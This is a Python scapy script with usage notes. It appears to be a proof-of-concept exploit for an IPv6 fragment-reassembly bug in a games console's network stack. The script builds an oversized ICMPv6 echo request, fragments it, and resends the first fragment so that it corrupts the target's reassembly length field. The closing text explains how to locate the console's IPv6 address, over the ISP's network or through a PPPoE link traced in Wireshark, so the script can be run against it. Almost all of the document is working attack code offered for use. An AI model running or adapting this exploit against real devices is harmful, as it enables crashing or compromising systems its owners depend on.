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# This software is licensed under the GNU Affero General Public License (AGPL) version 3.0 or later. | |
# For more details, see <https://www.gnu.org/licenses/agpl-3.0.html>. | |
from scapy import all as sp | |
import sys | |
import random as rn | |
iface = sys.argv[1] | |
src_mac = sp.get_if_hwaddr(iface) | |
dst_mac = "XXX" | |
src_ip = "XXX" | |
dst_ip = "XXX" | |
eth = sp.Ether(src=src_mac, dst=dst_mac) | |
p6 = sp.IPv6(src=src_ip, dst=dst_ip) | |
frag_size = 0x500 | |
ident = rn.randint(0, 0x1_0000) | |
data = 'a' * (0xffff - 8) | |
orig_p6 = (p6 / sp.ICMPv6EchoRequest(id=ident, data=data)).build() | |
orig_p6 = sp.IPv6(orig_p6) | |
# payload | |
pl = orig_p6[1] | |
pl_size = len(pl) | |
pl_buf = pl.build() | |
num_frag = pl_size // frag_size | |
# last fragment | |
lfrag_size = pl_size % frag_size | |
print(pl, pl_size, num_frag, lfrag_size) | |
fragh = sp.IPv6ExtHdrFragment(m=1, id=ident, nh=orig_p6.nh) | |
def frag(to_frag, offset, size): | |
return to_frag[offset : offset + size] | |
def send_frag(payload, offset, m, mid=None): | |
fragh.m = m | |
fragh.offset = offset | |
pkt = eth / p6 | |
if mid is not None: | |
pkt /= mid | |
pkt /= fragh / payload | |
sp.sendp(pkt, iface=iface, count=1, verbose=0) | |
fm = 1 | |
for i in range(num_frag): | |
if not lfrag_size and i == num_frag - 1: | |
# last index | |
li = i | |
continue | |
foff = i * frag_size // 8 | |
frag_pl = frag(pl_buf, i*frag_size, frag_size) | |
if i == 0: | |
# q6->ip6q_unfrglen > 0 | |
send_frag(frag_pl, foff, fm, sp.IPv6ExtHdrDestOpt(options=sp.PadN(optdata=b'\x00'*100))) | |
continue | |
send_frag(frag_pl, foff, fm) | |
# update q6->ip6q_unfrglen while keeping ip6af_offset of the first fragment | |
# unchanged | |
frag_pl = frag(pl_buf, 0, frag_size) | |
send_frag(frag_pl, 0, 1) | |
if lfrag_size: | |
li = num_frag | |
fm = 0 | |
foff = frag_size * li // 8 | |
frag_pl = frag(pl_buf, li*frag_size, lfrag_size) | |
send_frag(frag_pl, foff, fm) |
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If your ISP provides IPv6 you can just scan your network to find the console's address.
On the other hand if your ISP doesn't provide it you'll have the connect the console to your computer with a LAN cable and set up a manual Ethernet connection using PPPoE. After this you can test your internet connection on the console and trace the console's address using WireShark on your PC.
Remember that you have to provide the interface name as the argument before running the script.